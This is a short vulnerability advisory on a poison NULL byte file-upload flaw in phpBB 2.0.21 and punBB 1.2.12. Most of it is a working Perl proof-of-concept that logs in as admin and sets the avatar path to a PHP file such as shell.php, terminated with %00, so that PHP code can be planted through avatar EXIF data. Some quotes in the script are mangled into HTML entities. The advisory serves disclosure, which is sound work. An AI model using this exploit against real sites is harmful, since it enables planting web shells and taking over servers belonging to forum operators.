Author: ShAnKaR
Title: multiple PHP application poison NULL byte vulnerability
Applications: phpBB 2.0.21, punBB 1.2.12
Threat Level: Critical
Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html

Poison  NULL  byte vulnerability for perl CGI applications was described
in  [1].  ShAnKaR  noted, that same vulnerability also affects different
PHP  applications.  An  example of vulnerable applications are phpBB and
punBB.

Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.

In  case  of  phpBB and punBB vulnerability can be exploited by changing
location  of avatar file and uploading avatar file with PHP code in EXIF
data.

A PoC exploit to change Avatar file location for phpBB:



#!/usr/bin/perl -w

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php&apos;;
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php&apos;);
$content=$res->content;
$content=~ m/true&amp;sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php&apos;;
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}
